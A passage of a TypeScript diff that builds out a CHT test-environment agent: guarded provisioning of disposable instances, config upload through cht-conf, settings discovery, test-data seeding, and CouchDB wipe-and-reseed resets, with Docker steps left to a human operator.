+  copy.password = '';
+  return stripTrailingSlashes(copy.toString());
+};
+
+/**
+ * Auth precedence: options.auth, then URL-embedded, then COUCHDB_USER / COUCHDB_PASSWORD,
+ * which default independently exactly as the scripts' `${VAR:-default}` do. `isDefault`
+ * means nobody supplied a password, so the guard can refuse to send the built-in one away.
+ */
+const resolveRealAuth = (
+  options: ProvisionOptions,
+  embeddedAuth: BasicAuth | undefined
+): { auth: BasicAuth; isDefault: boolean } => {
+  const supplied = options.auth ?? embeddedAuth;
+  if (supplied) {
+    return { auth: supplied, isDefault: false };
+  }
+  const password = process.env.COUCHDB_PASSWORD || undefined;
+  return {
+    auth: { user: process.env.COUCHDB_USER || DEFAULT_AUTH.user, password: password ?? DEFAULT_AUTH.password },
+    isDefault: password === undefined,
+  };
+};
+
+/** https is always allowed; http only when the host is a local disposable one. */
+const isSchemeAllowed = (target: URL, disposable: boolean): boolean =>
+  target.protocol === 'https:' || (target.protocol === 'http:' && disposable);
+
+const isExternalTargetAllowed = (options: ProvisionOptions): boolean =>
+  options.allowExternalTarget === true || process.env.CHT_TEST_ENV_ALLOW_EXTERNAL === '1';
+
+/**
+ * Refuse to aim the destructive paths at anything but a disposable test instance:
+ * applyConfig runs cht-conf with `--force` and reset('couchdb') deletes docs, so a
+ * stale CHT_URL pointing at staging must fail loudly rather than clobber it.
+ * Override per call with allowExternalTarget, or with CHT_TEST_ENV_ALLOW_EXTERNAL=1.
+ */
+const assertDisposableTarget = (target: URL, options: ProvisionOptions, defaultCreds: boolean): void => {
+  const disposable = isDisposableHost(target.hostname);
+  if (!isSchemeAllowed(target, disposable)) {
+    throw new Error(
+      `provision: refusing ${target.protocol}//${target.host} — https is required ` +
+        '(http only for a local disposable instance)'
+    );
+  }
+  if (disposable) {
+    return;
+  }
+  if (!isExternalTargetAllowed(options)) {
+    throw new Error(
+      `provision: ${target.host} is not a known disposable test instance, and this layer runs ` +
+        'cht-conf --force and deletes docs. Set allowExternalTarget (or ' +
+        'CHT_TEST_ENV_ALLOW_EXTERNAL=1) if that really is the target.'
+    );
+  }
+  if (defaultCreds) {
+    throw new Error(
+      `provision: refusing the built-in default credentials against ${target.host}: nobody supplied a ` +
+        'password. Pass auth explicitly or set COUCHDB_PASSWORD.'
+    );
+  }
+};
+
+/**
+ * Resolve the real-mode instance URL + credentials. URL: options.url, then CHT_URL
+ * (trimmed; blank ignored), then the on-network default. Embedded basic-auth creds are
+ * stripped out of the URL (it is logged, and undici rejects credentialed URLs) and kept
+ * only as an auth fallback.
+ */
+const resolveRealTarget = (options: ProvisionOptions): RealTarget => {
+  const target = parseInstanceUrl(options.url ?? (process.env.CHT_URL?.trim() || DEFAULT_ENV_URL));
+  const { auth, isDefault } = resolveRealAuth(options, embeddedAuthOf(target));
+  assertDisposableTarget(target, options, isDefault);
+  return { url: withoutUserinfo(target), auth };
+};
+
+/** A docIds worklist with no dataPath to reseed from is a caller error, not an empty reset. */
+const assertNoOrphanDocIds = (options: ResetOptions): void => {
+  if (options.docIds !== undefined) {
+    throw new Error('reset: options.docIds also needs options.dataPath (the project to reseed from)');
+  }
+};
+
+/** Reject provision inputs before anything is printed or polled. */
+const validateProvisionOptions = (options: ProvisionOptions): void => {
+  if (!options.chtCorePath && !options.version) {
+    throw new Error('provision requires either chtCorePath or version');
+  }
+  // The path is interpolated into printed human-gate command lines.
+  if (options.chtCorePath && hasControlChars(options.chtCorePath)) {
+    throw new Error('provision: chtCorePath contains control characters — must be a plain filesystem path');
+  }
+  // The gates single-quote the path, so a shell never expands a leading ~; cht-conf gets it literally too.
+  if (options.chtCorePath?.startsWith('~')) {
+    throw new Error('provision: chtCorePath starts with ~, which nothing expands; pass an absolute path');
+  }
+};
+
+/**
+ * Real mode brings a stack up from a cht-core working copy only. A published version comes
+ * up through cht-docker-helper, which this layer prints no gate for, so real mode refuses it.
+ * Checking the release tag out in a working copy reaches the same code.
+ */
+const assertRealModeSupported = (options: ProvisionOptions, network: string): void => {
+  if (!options.chtCorePath) {
+    throw new Error(
+      `provision: real mode has no published-version bring-up — check ${options.version} out in a ` +
+        'cht-core working copy and pass chtCorePath'
+    );
+  }
+  if (network !== DEFAULT_NETWORK) {
+    throw new Error(
+      'provision: the bring-up scripts and docker/cht-agent-net.override.yml hardcode ' +
+        `${DEFAULT_NETWORK}; a custom network needs an edit there too`
+    );
+  }
+};
+
+/**
+ * /api/v2/monitoring needs no auth, so readiness proves nothing about the credentials. cht-conf
+ * --force and the reset's _bulk_docs both need a CouchDB admin: check that now, not minutes later.
+ */
+const assertAdminCredentials = async (url: string, auth: BasicAuth): Promise<void> => {
+  const session = await fetchSession(url, auth).catch((error: Error) => {
+    throw new Error(`provision: could not verify the credentials for ${auth.user}: ${error.message}`);
+  });
+  if (!session.roles.includes('_admin')) {
+    throw new Error(
+      `provision: ${auth.user} is authenticated but is not a CouchDB admin; apply and reset need one`
+    );
+  }
+};
+
+/** Real provision: gate, wait for health, prove admin credentials, hand back the handle. */
+const provisionReal = async (options: ProvisionOptions, network: string): Promise<EnvironmentHandle> => {
+  assertRealModeSupported(options, network);
+  const { url, auth } = resolveRealTarget(options);
+
+  console.log('[Test Environment Agent] HUMAN GATE — bring the env up (agent runs no Docker):');
+  console.log(`    CHT_CORE_REBUILD=1 ${gateEnv()}scripts/test-env-up.sh${gateArg(options.chtCorePath)}   # build + start on ${network}`);
+  console.log(`[Test Environment Agent] Polling ${url}/api/v2/monitoring until healthy...`);
+
+  const readiness = {
+    ...options.readiness,
+    maxWaitMs: options.readiness?.maxWaitMs ?? DEFAULT_PROVISION_WAIT_MS,
+  };
+  await waitForReady(url, readiness);
+  await assertAdminCredentials(url, auth);
+
+  console.log(`[Test Environment Agent] Ready at ${url} (network: ${network})`);
+  return { url, auth: { ...auth }, network, chtCorePath: options.chtCorePath, source: 'docker' };
+};
+
+/** Build the deterministic mock-mode handle (no instance, no Docker). */
+const buildMockHandle = (options: ProvisionOptions, network: string): EnvironmentHandle => {
+  const target = parseInstanceUrl(options.url ?? MOCK_TEST_ENV_DATA.url);
+  return {
+    url: withoutUserinfo(target),
+    auth: { ...(options.auth ?? embeddedAuthOf(target) ?? MOCK_TEST_ENV_DATA.auth) },
+    network,
+    chtCorePath: options.chtCorePath,
+    source: 'mock',
+  };
+};
+
+/**
+ * Build the cht-conf instance URL with embedded credentials
+ * (https://user:pass@host). Only the runner sees this; logs use handle.url.
+ */
+const credentialedUrl = (handle: EnvironmentHandle): string => {
+  const url = new URL(handle.url);
+  url.username = encodeURIComponent(handle.auth.user);
+  url.password = encodeURIComponent(handle.auth.password);
+  return url.toString();
+};
+
+/** Default config project: cht-core's in-repo config/default, resolved against the handle's working copy. */
+const defaultConfigPath = (handle: EnvironmentHandle): string =>
+  handle.chtCorePath
+    ? `${stripTrailingSlashes(handle.chtCorePath)}/${DEFAULT_CONFIG_PATH}`
+    : DEFAULT_CONFIG_PATH;
+
+/**
+ * Aggregate per-bucket results into the ConfigApplyResult envelope. Shared by
+ * the mock and real paths so both return an identical shape.
+ */
+const toApplyResult = (
+  configPath: string,
+  artifact: string | undefined,
+  results: ConfigActionResult[]
+): ConfigApplyResult => {
+  // An artifact filter legitimately matches nothing in the OTHER form bucket
+  // (targeting an app form never matches contact-forms), so a miss only means
+  // the request failed when EVERY form bucket came up empty.
+  const formResults = results.filter((result) => FORM_BUCKETS.has(result.action));
+  const artifactMissed =
+    artifact !== undefined &&
+    formResults.length > 0 &&
+    formResults.every((result) => result.matchedNothing === true);
+  const warnings = results.flatMap((result) => result.warnings);
+  if (artifactMissed) {
+    warnings.push(`no configured form bucket contains an artifact named "${artifact}"`);
+  }
+  return {
+    configPath,
+    ...(artifact ? { artifact } : {}),
+    actions: results,
+    succeeded: results.every((result) => result.status !== 'failed') && !artifactMissed,
+    warnings,
+  };
+};
+
+const isRecord = (value: unknown): value is Record<string, unknown> =>
+  value !== null && typeof value === 'object' && !Array.isArray(value);
+
+const parseContactTypes = (raw: unknown): ContactTypeConfig[] => {
+  if (!Array.isArray(raw)) {
+    return [];
+  }
+  return raw.filter(isRecord).flatMap((entry) => {
+    if (typeof entry.id !== 'string') {
+      return [];
+    }
+    const parents = Array.isArray(entry.parents)
+      ? entry.parents.filter((parent): parent is string => typeof parent === 'string')
+      : undefined;
+    return [
+      {
+        id: entry.id,
+        ...(parents !== undefined ? { parents } : {}),
+        ...(typeof entry.person === 'boolean' ? { person: entry.person } : {}),
+      },
+    ];
+  });
+};
+
+const parseRole = (value: unknown): RoleConfig | undefined => {
+  if (!isRecord(value)) {
+    return undefined;
+  }
+  return {
+    ...(typeof value.name === 'string' ? { name: value.name } : {}),
+    ...(typeof value.offline === 'boolean' ? { offline: value.offline } : {}),
+  };
+};
+
+const parseRoles = (raw: unknown): Record<string, RoleConfig> => {
+  if (!isRecord(raw)) {
+    return {};
+  }
+  const roles: Record<string, RoleConfig> = {};
+  for (const [name, value] of Object.entries(raw)) {
+    const role = parseRole(value);
+    if (role !== undefined) {
+      roles[name] = role;
+    }
+  }
+  return roles;
+};
+
+const parsePermissions = (raw: unknown): Record<string, string[]> => {
+  if (!isRecord(raw)) {
+    return {};
+  }
+  const permissions: Record<string, string[]> = {};
+  for (const [name, value] of Object.entries(raw)) {
+    if (Array.isArray(value)) {
+      permissions[name] = value.filter((role): role is string => typeof role === 'string');
+    }
+  }
+  return permissions;
+};
+
+const parseTransitions = (raw: unknown): Record<string, TransitionConfig> => {
+  if (!isRecord(raw)) {
+    return {};
+  }
+  const transitions: Record<string, TransitionConfig> = {};
+  for (const [name, value] of Object.entries(raw)) {
+    if (typeof value === 'boolean') {
+      transitions[name] = value;
+    } else if (isRecord(value)) {
+      transitions[name] = { disable: value.disable === true };
+    }
+  }
+  return transitions;
+};
+
+/**
+ * Map raw /api/v1/settings JSON + the installed form docs' revs into the
+ * DiscoveredConfig the data/test layers consume. Pure — exported for nothing;
+ * exercised through discoverConfig.
+ */
+const parseDiscoveredConfig = (
+  settings: Record<string, unknown>,
+  formRevs: Array<{ id: string; rev: string }>
+): DiscoveredConfig => {
+  const formVersions: Record<string, string> = {};
+  for (const form of formRevs) {
+    const id = form.id.startsWith(FORM_DOC_PREFIX) ? form.id.slice(FORM_DOC_PREFIX.length) : form.id;
+    formVersions[id] = form.rev;
+  }
+  return {
+    contactTypes: parseContactTypes(settings.contact_types),
+    roles: parseRoles(settings.roles),
+    permissions: parsePermissions(settings.permissions),
+    transitions: parseTransitions(settings.transitions),
+    forms: Object.keys(formVersions),
+    formVersions,
+  };
+};
+
+/** One line describing why a cht-conf invocation did not succeed. */
+const describeExit = (label: string, run: ChtConfExecResult): string => {
+  if (run.timedOut) {
+    return `cht-conf ${label} timed out`;
+  }
+  if (run.startError !== undefined) {
+    return `cht-conf ${label} failed to start: ${run.startError}`;
+  }
+  return `cht-conf ${label} exited with code ${run.exitCode}`;
+};
+
+/** Why a cht-conf run did not succeed, with cht-conf's own ERROR lines when it printed any. */
+const describeRunFailure = (label: string, run: ChtConfExecResult): string =>
+  [describeExit(label, run), ...outputTail(run.output)].join(' | ');
+
+const runSucceeded = (run: ChtConfExecResult): boolean =>
+  run.exitCode === 0 && !run.timedOut && run.startError === undefined;
+
+// Doc ids that name deployed configuration or accounts. They are refused wherever a data
+// project reaches the instance or the reset worklist.
+const PROTECTED_IDS = new Set([
+  'settings',
+  'resources',
+  'branding',
+  'partners',
+  'extension-libs',
+  'privacy-policies',
+  'service-worker-meta',
+  'zscore-charts',
+  'migration-log',
+  'shortcode-id-length',
+]);
+const PROTECTED_PREFIXES = ['_design/', 'form:', 'org.couchdb.user:', 'messages-'];
+
+const isProtectedId = (id: string): boolean =>
+  PROTECTED_IDS.has(id) || PROTECTED_PREFIXES.some((prefix) => id.startsWith(prefix));
+
+const partitionProtected = (ids: string[]): { safe: string[]; protectedIds: string[] } => {
+  const safe: string[] = [];
+  const protectedIds: string[] = [];
+  for (const id of ids) {
+    (isProtectedId(id) ? protectedIds : safe).push(id);
+  }
+  return { safe, protectedIds };
+};
+
+/** `upload-docs --force` writes whatever json_docs holds, so a protected id is refused up front. */
+const assertNoProtectedDocs = (label: string, dataPath: string, docs: SeededDoc[]): void => {
+  const planted = partitionProtected(docs.map((doc) => doc.id)).protectedIds;
+  if (planted.length > 0) {
+    throw new Error(
+      `${label}: ${dataPath}/json_docs contains protected config doc(s) ${planted.slice(0, 5).join(', ')} — ` +
+        'upload-docs would write them to the instance; remove them first'
+    );
+  }
+};
+
+/** Tracking key — the URL alone collides when parallel envs share the service hostname. */
+const trackingKey = (handle: EnvironmentHandle): string => `${handle.network}|${handle.url}`;
+
+/** Where a seed or reseed reads from, and the cht-conf it runs with. */
+interface SeedSource {
+  /** Absolute, so a later chdir cannot move a reset onto another project. */
+  dataPath: string;
+  bin?: string;
+  timeoutMs?: number;
+}
+
+/** What prepareTestData tracked for a provisioned env: its source and the ids it seeded. */
+interface SeededDataRecord extends SeedSource {
+  docIds: string[];
+}
+
+/** cht-conf run options shared by the seeding phases (verbs/logLabel added per call). */
+type SeedRunBase = Pick<ChtConfExecOptions, 'instanceUrl' | 'configPath' | 'cwd' | 'bin' | 'timeoutMs'>;
+
+/**
+ * Options for every seed and reseed run. cht-conf resolves --source against the child's cwd,
+ * which is the data project (so its upload-docs report lands there), so both are absolute.
+ */
+const seedRunBase = (handle: EnvironmentHandle, source: SeedSource): SeedRunBase => ({
+  instanceUrl: credentialedUrl(handle),
+  configPath: resolve(source.dataPath),
+  cwd: resolve(source.dataPath),
+  bin: source.bin,
+  timeoutMs: source.timeoutMs,
+});
+
+/**
+ * upload-docs exits 0 even when it rejects docs. A static dataset seeded twice conflicts on
+ * every doc, because csv-to-docs ids hash the content.
+ */
+const uploadShortfall = (run: ChtConfExecResult, docCount: number): string | undefined => {
+  const summary = parseUploadDocsSummary(run.output);
+  if (summary === undefined) {
+    return docCount > 0 ? `upload-docs printed no summary for ${docCount} doc(s)` : undefined;
+  }
+  if (summary.uploaded < summary.total) {
+    // reset('couchdb') wipes AND reseeds, so a second seed of the same docs after it still conflicts.
+    return (
+      `only ${summary.uploaded} of ${summary.total} docs uploaded — the rest were rejected or already ` +
+      "exist. Seeding data the instance already holds conflicts; reset('couchdb') restores it instead"
+    );
+  }
+  return undefined;
+};
+
+/** Refuse anything in json_docs this layer did not generate; remove what it did. */
+const clearOwnedDocs = (dataPath: string): void => {
+  const foreign = findForeignDocFiles(dataPath);
+  if (foreign.length > 0) {
+    throw new Error(
+      `prepareTestData: ${dataPath}/json_docs holds ${foreign.length} file(s) this layer did not generate ` +
+        `(${foreign.slice(0, 3).join(', ')}) — move them out or use a fresh data project`
+    );
+  }
+  const removed = removeOwnedDocFiles(dataPath);
+  if (removed > 0) {
+    console.log(`[Test Environment Agent] Cleared ${removed} json_docs file(s) a previous run generated`);
+  }
+};
+
+/** csv-to-docs into a json_docs holding nothing but this layer's own earlier output. */
+const generateDocs = async (shared: SeedRunBase, dataPath: string, warnings: string[]): Promise<boolean> => {
+  clearOwnedDocs(dataPath);
+  const run = await runChtConf({ verbs: [CSV_TO_DOCS], logLabel: `test-data: ${CSV_TO_DOCS}`, ...shared });
+  // Everything in json_docs now came from csv-to-docs: record it even on failure, so a retry
+  // can clear it.
+  recordOwnedDocFiles(dataPath);
+  if (!runSucceeded(run)) {
+    warnings.push(describeRunFailure(CSV_TO_DOCS, run));
+  }
+  return runSucceeded(run);
+};
+
+const uploadDocs = async (shared: SeedRunBase, docCount: number): Promise<{ ran: boolean; problem?: string }> => {
+  const run = await runChtConf({ verbs: [UPLOAD_DOCS], logLabel: `test-data: ${UPLOAD_DOCS}`, ...shared });
+  if (!runSucceeded(run)) {
+    return { ran: false, problem: describeRunFailure(UPLOAD_DOCS, run) };
+  }
+  return { ran: true, problem: uploadShortfall(run, docCount) };
+};
+
+interface DocsPhase {
+  /** Every doc uploaded cleanly. */
+  docsOk: boolean;
+  /** upload-docs exited cleanly, so what is on disk is what it was given. */
+  uploadRan: boolean;
+  seeded: SeededDoc[];
+  counts: SeededDocCounts;
+}
+
+/**
+ * Docs phase. With csv/ input, json_docs is regenerated (see generateDocs); without it,
+ * json_docs is hand-authored input and is uploaded as it is. Either way protected ids are
+ * refused before upload-docs runs, which is why the two verbs are separate cht-conf calls.
+ */
+const prepareDocs = async (
+  shared: SeedRunBase,
+  dataPath: string,
+  config: DiscoveredConfig,
+  warnings: string[]
+): Promise<DocsPhase> => {
+  if (hasCsvInput(dataPath) && !(await generateDocs(shared, dataPath, warnings))) {
+    return { docsOk: false, uploadRan: false, seeded: [], counts: classifySeededDocs([], config) };
+  }
+  const seeded = readSeededDocs(dataPath);
+  assertNoProtectedDocs('prepareTestData', dataPath, seeded);
+  const upload = await uploadDocs(shared, seeded.length);
+  if (upload.problem !== undefined) {
+    warnings.push(upload.problem);
+  }
+  if (seeded.length === 0) {
+    warnings.push(`no docs in ${dataPath}/json_docs — does ${dataPath}/csv exist and contain CSV files?`);
+  }
+  const counts = classifySeededDocs(seeded, config);
+  warnings.push(...counts.warnings);
+  return { docsOk: upload.problem === undefined, uploadRan: upload.ran, seeded, counts };
+};
 
-const NOT_IMPLEMENTED = 'Docker orchestration not yet implemented';
+/**
+ * Users phase: cht-conf `create-users` from `<dataPath>/users.csv` when present
+ * (cht-conf throws on a missing users.csv). On a failed run the last logged
+ * "Creating user" attempt is the one that blew up, so it is not counted.
+ */
+const seedUsers = async (
+  shared: SeedRunBase,
+  dataPath: string,
+  warnings: string[]
+): Promise<{ usersCreated: number; usersOk: boolean }> => {
+  if (!hasUsersCsv(dataPath)) {
+    console.log('[Test Environment Agent] No users.csv in the data project — skipping create-users');
+    return { usersCreated: 0, usersOk: true };
+  }
+  const usersRun = await runChtConf({ verbs: ['create-users'], logLabel: 'test-data: create-users', ...shared });
+  const usersOk = runSucceeded(usersRun);
+  const attempts = countCreatedUsers(usersRun.output);
+  const usersCreated = usersOk ? attempts : Math.max(0, attempts - 1);
+  if (!usersOk) {
+    warnings.push(describeRunFailure('create-users', usersRun));
+  }
+  return { usersCreated, usersOk };
+};
+
+/** Build _deleted tombstones for the live (non-tombstoned, non-missing) tracked docs. */
+const buildTombstones = (rows: DocRevRow[]): BulkDoc[] => {
+  const deletions: BulkDoc[] = [];
+  for (const row of rows) {
+    if (row.rev !== undefined && !row.deleted && !row.missing) {
+      deletions.push({ _id: row.id, _rev: row.rev, _deleted: true });
+    }
+  }
+  return deletions;
+};
+
+/** Never wipe a doc the data project cannot put back. */
+const assertRestorable = (dataPath: string, ids: string[], onDisk: SeededDoc[]): void => {
+  const available = new Set(onDisk.map((doc) => doc.id));
+  const unrestorable = ids.filter((id) => !available.has(id));
+  if (unrestorable.length > 0) {
+    throw new Error(
+      `couchdb reset: ${dataPath}/json_docs cannot restore ${unrestorable.length} of the ${ids.length} ` +
+        `doc(s) it would wipe (${unrestorable.slice(0, 5).join(', ')}) — re-run prepareTestData instead`
+    );
+  }
+};
+
+/**
+ * couchdb reset — wipe: delete the tracked docs at their CURRENT revs (sentinel may have
+ * bumped them). Throws unless CouchDB acknowledged every submitted deletion with `ok`.
+ * Returns how many were tombstoned.
+ */
+const wipeTrackedDocs = async (handle: EnvironmentHandle, docIds: string[]): Promise<number> => {
+  const rows = await fetchDocRevs(handle.url, handle.auth, docIds);
+  const deletions = buildTombstones(rows);
+  if (deletions.length === 0) {
+    return 0;
+  }
+  const outcomes = await bulkDocs(handle.url, handle.auth, deletions);
+  if (outcomes.length !== deletions.length) {
+    throw new Error(
+      `couchdb reset: _bulk_docs acknowledged ${outcomes.length} of ${deletions.length} deletion(s)`
+    );
+  }
+  const failed = outcomes.filter((row) => row.error !== undefined || row.ok !== true);
+  if (failed.length > 0) {
+    const failedIds = failed.map((row) => row.id ?? 'unknown').slice(0, 5).join(', ');
+    // _bulk_docs is not atomic: the other deletions were applied, and nothing reseeds them.
+    throw new Error(
+      `couchdb reset failed to delete ${failed.length} doc(s): ${failedIds}. The other ` +
+        `${deletions.length - failed.length} doc(s) were deleted and not reseeded: run the reset again`
+    );
+  }
+  return deletions.length;
+};
+
+/** couchdb reset — reseed: re-upload the data project's pristine copies. */
+const reseedTrackedDocs = async (
+  handle: EnvironmentHandle,
+  tracked: SeededDataRecord,
+  wiped: number
+): Promise<void> => {
+  const reseed = await runChtConf({
+    verbs: [UPLOAD_DOCS],
+    logLabel: `couchdb reset: ${UPLOAD_DOCS}`,
+    ...seedRunBase(handle, tracked),
+  });
+  if (!runSucceeded(reseed)) {
+    throw new Error(
+      `couchdb reset: ${wiped} doc(s) were wiped but the reseed failed, so they are gone from the ` +
+        `instance until you re-run prepareTestData — ${describeRunFailure(UPLOAD_DOCS, reseed)}`
+    );
+  }
+};
+
+/**
+ * Confirm from CouchDB that every doc the reset is responsible for exists again. upload-docs'
+ * summary cannot say: it re-uploads all of json_docs with no _rev, mixing restored docs with
+ * conflicts on docs that were never wiped.
+ */
+const verifyRestored = async (handle: EnvironmentHandle, ids: string[]): Promise<void> => {
+  const rows = await fetchDocRevs(handle.url, handle.auth, ids);
+  const present = new Set(
+    rows.filter((row) => row.rev !== undefined && !row.deleted && !row.missing).map((row) => row.id)
+  );
+  const absent = ids.filter((id) => !present.has(id));
+  if (absent.length > 0) {
+    throw new Error(
+      `couchdb reset: ${absent.length} doc(s) are missing after the reseed: ${absent.slice(0, 5).join(', ')}`
+    );
+  }
+};
+
+/** Print the human-gated restart/full reset instructions (the agent runs no Docker). */
+const printResetGate = (handle: EnvironmentHandle, tier: ResetTier): void => {
+  const target = gateArg(handle.chtCorePath);
+  const env = gateEnv();
+  console.log(`[Test Environment Agent] HUMAN GATE — reset (${tier}); the agent runs no Docker:`);
+  if (tier === 'restart') {
+    console.log(`    ${env}scripts/test-env-restart.sh${target}`);
+  } else {
+    // A full reset recreates the containers from rebuilt images (Model A tests the code as it is now).
+    // It is not a clean database: the CouchDB bind mount survives down -v (see reset()).
+    console.log(`    ${env}scripts/test-env-down.sh${target} && ${env}CHT_CORE_REBUILD=1 scripts/test-env-up.sh${target}`);
+    // down -v deletes the cht-ssl volume, so nginx comes back with a new self-signed cert.
+    // Node loads NODE_EXTRA_CA_CERTS once per process, so this process still trusts the old one.
+    console.log(
+      '[Test Environment Agent] down -v deletes the nginx cert, and up makes a new one. If NODE_EXTRA_CA_CERTS ' +
+        'trusts the old one, copy the new cert.pem and restart the agent before re-confirming health.'
+    );
+  }
+  console.log(
+    '[Test Environment Agent] The old stack answers healthy until the operator acts: get their go-ahead, ' +
+      'then re-confirm health with provision()/waitForReady.'
+  );
+};
 
 export class TestEnvironmentAgent {
   private readonly useMockDocker: boolean;
+  /** Seeded-doc tracking per environment (see trackingKey) for the couchdb reset. */
+  private readonly seededData = new Map<string, SeededDataRecord>();
 
   constructor(options: { useMockDocker?: boolean } = {}) {
     this.useMockDocker = options.useMockDocker !== false;
   }
 
   /**
-   * Bring up a reachable CHT environment. Requires either a local working copy
-   * (chtCorePath, built via local-images) or a published version.
+   * Bring up a reachable CHT environment. Real mode needs a working copy (chtCorePath, built
+   * by scripts/test-env-up.sh); mock mode also takes a published version.
    */
   async provision(options: ProvisionOptions): Promise<EnvironmentHandle> {
-    if (!options.chtCorePath && !options.version) {
-      throw new Error('provision requires either chtCorePath or version');
-    }
-
-    if (!this.useMockDocker) {
-      throw new Error(NOT_IMPLEMENTED);
-    }
+    validateProvisionOptions(options);
 
     const source = options.chtCorePath
       ? `local code (${options.chtCorePath})`
       : `published version ${options.version}`;
+    const network = options.network ?? DEFAULT_NETWORK;
 
     console.log('\n[Test Environment Agent] Provisioning environment...');
     console.log(`[Test Environment Agent] Source: ${source}`);
 
-    const handle: EnvironmentHandle = {
-      url: MOCK_TEST_ENV_DATA.url,
-      auth: { ...MOCK_TEST_ENV_DATA.auth },
-      network: options.network ?? MOCK_TEST_ENV_DATA.network,
-      chtCorePath: options.chtCorePath,
-      source: 'mock',
-    };
+    if (!this.useMockDocker) {
+      return provisionReal(options, network);
+    }
 
+    const handle = buildMockHandle(options, network);
     console.log(`[Test Environment Agent] Ready at ${handle.url} (network: ${handle.network})`);
     return handle;
   }
 
   /**
-   * Apply (compile + upload) a config project from the working copy to the
-   * instance. Defaults to cht-core's in-repo `config/default` project.
+   * Apply (compile + upload) a config project to the instance via cht-conf.
+   * Defaults to cht-core's in-repo `config/default`; cht-conf tickets pass the
+   * deployment's config project as `configPath`. `actions` picks which cht-conf
+   * upload buckets run — settings, app forms, contact forms, resources — so the
+   * cht-conf validate loop can re-upload only the artifact it changed.
+   *
+   * Accepts a bare path string (back-compat) or an options object. Returns a
+   * ConfigApplyResult the verify step / QA Supervisor asserts on.
    */
-  async applyConfig(handle: EnvironmentHandle, configPath = 'config/default'): Promise<void> {
+  async applyConfig(
+    handle: EnvironmentHandle,
+    options: string | ApplyConfigOptions = {}
+  ): Promise<ConfigApplyResult> {
+    const opts: ApplyConfigOptions = typeof options === 'string' ? { configPath: options } : options;
+    const configPath = opts.configPath ?? defaultConfigPath(handle);
+    const actions = opts.actions ?? DEFAULT_CONFIG_ACTIONS;
+    const artifact = opts.artifact;
+
+    const scope = artifact ? `${actions.join(', ')}; artifact=${artifact}` : actions.join(', ');
+    console.log(`[Test Environment Agent] Applying config: ${configPath} (${scope}) -> ${handle.url}`);
+
     if (!this.useMockDocker) {
-      throw new Error(NOT_IMPLEMENTED);
+      const results = await this.applyConfigReal(handle, configPath, actions, opts);
+      return toApplyResult(configPath, artifact, results);
     }
 
-    console.log(`[Test Environment Agent] Applying config: ${configPath} -> ${handle.url}`);
-    console.log('[Test Environment Agent] (mock) config applied');
+    const results = actions.map((action) => mockConfigActionResult(action));
+    console.log(`[Test Environment Agent] (mock) config applied — ${results.length} action(s)`);
+    return toApplyResult(configPath, artifact, results);
+  }
+
+  /**
+   * Real applyConfig path: one cht-conf invocation per bucket against the
+   * running instance (the agent runs no Docker — cht-conf talks over HTTP).
+   * Buckets run independently so one failure doesn't abort the rest; never push.
+   */
+  private async applyConfigReal(
+    handle: EnvironmentHandle,
+    configPath: string,
+    actions: ConfigUploadAction[],
+    opts: ApplyConfigOptions
+  ): Promise<ConfigActionResult[]> {
+    const instanceUrl = credentialedUrl(handle);
+    // Keep cht-conf's report files in the config project (as the seeding path does).
+    const cwd = configPath.startsWith('/') ? configPath : undefined;
+    const results: ConfigActionResult[] = [];
+    for (const action of actions) {
+      results.push(
+        await runBucket({
+          action,
+          instanceUrl,
+          configPath,
+          artifact: opts.artifact,
+          cwd,
+          bin: opts.bin,
+          timeoutMs: opts.timeoutMs,
+        })
+      );
+    }
+    return results;
   }
 
   /**
    * Read the deployed configuration back from the running instance so test data
-   * can be generated to conform to it.
+   * can be generated to conform to it. Doubles as the post-applyConfig verify
+   * primitive: formVersions carries each installed form's CouchDB rev, which
+   * changes iff the form was re-uploaded.
    */
   async discoverConfig(handle: EnvironmentHandle): Promise<DiscoveredConfig> {
-    if (!this.useMockDocker) {
-      throw new Error(NOT_IMPLEMENTED);
+    console.log(`[Test Environment Agent] Discovering config from ${handle.url}...`);
+
+    let config: DiscoveredConfig;
+    if (this.useMockDocker) {
+      config = structuredClone(MOCK_TEST_ENV_DATA.config);
+    } else {
+      const settings = await fetchSettings(handle.url, handle.auth);
+      if (!Array.isArray(settings.contact_types)) {
+        // Discovery reflects only what the instance returns (like the other
+        // parsers), so surface that cht-core is running on its built-in
+        // default hierarchy rather than synthesizing types the API never sent.
+        console.warn(
+          '[Test Environment Agent] Instance settings define no contact_types — cht-core falls back to ' +
+            'its built-in default hierarchy; seeded default-hierarchy places will be counted as unknown types.'
+        );
+      }
+      config = parseDiscoveredConfig(settings, await fetchFormRevs(handle.url, handle.auth));
     }
 
-    console.log(`[Test Environment Agent] Discovering config from ${handle.url}...`);
-    const config = structuredClone(MOCK_TEST_ENV_DATA.config);
     console.log(
       `[Test Environment Agent] Discovered ${config.contactTypes.length} contact types, ` +
         `${Object.keys(config.roles).length} roles, ${config.forms.length} forms`
@@ -92,21 +944,26 @@ export class TestEnvironmentAgent {
   }
 
   /**
-   * Generate and seed test data (places, people, reports, users) that conforms
-   * to the discovered config.
+   * Seed test data (places, people, reports, users) that conforms to the
+   * discovered config. Real path: cht-conf `csv-to-docs` + `upload-docs` turn
+   * `<dataPath>/csv/*.csv` (or a hand-authored json_docs) into docs, then `create-users`
+   * provisions accounts from `<dataPath>/users.csv` when present. The seeded
+   * doc ids are tracked per environment so `reset('couchdb')` can wipe and
+   * reseed them without touching the deployed config.
    */
   async prepareTestData(
     handle: EnvironmentHandle,
-    config: DiscoveredConfig
+    config: DiscoveredConfig,
+    options: PrepareTestDataOptions = {}
   ): Promise<TestDataResult> {
-    if (!this.useMockDocker) {
-      throw new Error(NOT_IMPLEMENTED);
-    }
-
     console.log(
       `[Test Environment Agent] Preparing test data for ${config.contactTypes.length} contact types -> ${handle.url}`
     );
-    const result = structuredClone(MOCK_TEST_ENV_DATA.testData);
+
+    const result = this.useMockDocker
+      ? structuredClone(MOCK_TEST_ENV_DATA.testData)
+      : await this.prepareTestDataReal(handle, config, options);
+
     console.log(
       `[Test Environment Agent] Seeded ${result.placesCreated} places, ` +
         `${result.peopleCreated} people, ${result.reportsCreated} reports, ` +
@@ -115,25 +972,153 @@ export class TestEnvironmentAgent {
     return result;
   }
 
+  /**
+   * Real prepareTestData path: seed docs (csv-to-docs + upload-docs) then users
+   * (create-users when users.csv exists), tracking the seeded doc ids per env for
+   * the couchdb reset. Requires options.dataPath (a cht-conf project with csv/ or json_docs/).
+   */
+  private async prepareTestDataReal(
+    handle: EnvironmentHandle,
+    config: DiscoveredConfig,
+    options: PrepareTestDataOptions
+  ): Promise<TestDataResult> {
+    if (!options.dataPath) {
